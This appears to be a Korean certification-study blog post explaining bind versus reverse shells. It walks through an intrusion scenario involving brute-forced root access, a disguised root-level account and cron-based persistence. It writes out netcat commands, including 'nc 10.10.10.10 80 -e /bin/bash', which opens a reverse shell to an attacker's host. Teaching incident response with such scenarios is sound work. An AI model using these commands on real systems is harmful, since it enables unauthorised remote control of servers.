개요
- 리버스쉘을 사용하는 이유는 방화벽을 우회하여 쉘을 획득하기 위함
- 원격에서 서버에 명령어를 실행할 수 있는 쉘 획득방법은 2가지가 있음
1) Bind Shell : 클라이언트/공격자가 타겟 서버에 접속하여 타겟 서버의 쉘을 획득하는 방식
2) Reverse Shell : 역으로 타겟 서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟 서버의 쉘을 획득하는 방식
리버스 쉘(Reverse Shell) 침해 사고 시나리오
1) 공격자는 내부침입에 성공한 후 웹서버 root계정을 무차별대입공격으로 알아냄.
2) 이후 반복적 침입을 위해 일반 사용자계정으로 보이는 root권한 사용자 계정 생성
3) 외부에서 지속적으로 웹서버에 접근할 수 있도록 netcat 프로그램을 이용한 Reverse shell 연결 작업을 cron table에 등록(/etc/crontab)
4) 이후 외부에서 주기적으로 연결해 악의적인 명령 수행
netcat 프로그램을 이용한 리버스 쉘 연결
1) 공격자는 자신의 PC에서 "nc -lvp 80" 명령을 실행하여 타겟 웹서버의 nc 프로그램(커넥터) 연결 요청을 수락할 수 있도록 함.
--> 80/tcp 포트로 연결요청을 대기하도록 nc 프로그램을 리스너로 동작시킨다는 의미
nc(netcat) 옵션 |
|
2) 타겟 웹서버에서 "nc 10.10.10.10 80 -e /bin/bash" 명령을 실행하여 nc 프로그램을 커넥터로 동작시킴.
--> 공격자 PC(10.10.10.10 80포트)로 접속한 후 /bin/bash로 실행이미지를 교체한다는 의미
3) 타겟 웹서버의 nc 커넥터가 공격자 PC의 nc 리스너로 접속
4) 공격자PC와 연결된 타겟 웹서버의 nc 커넥터는 자신의 실행 이미지를 bash 프로세스로 전이한 후 nc 리스너와 통신
5) 공격자는 리버스쉘을 통해 타겟 웹서버에 악의적인 명령 수행
※ 참고 : 알기사 정보보안기사 실기 교재
'정보보안기사&CISSP관련 > 침해사고 분석 및 대응' 카테고리의 다른 글
[Day 115] DBD(Drive By Download) 공격 (0) | 2020.12.03 |
---|---|
[Day 113] 워터링 홀(Watering Hole) 침해 사고 시나리오 (0) | 2020.12.01 |
[Day 79] 침해사고 대응절차 7단계 (0) | 2020.10.28 |
[Day 76] Mirroring Mode, Inline Mode (0) | 2020.10.25 |
[Day 72] Reverse Shell 침해 사고 시나리오 (0) | 2020.10.21 |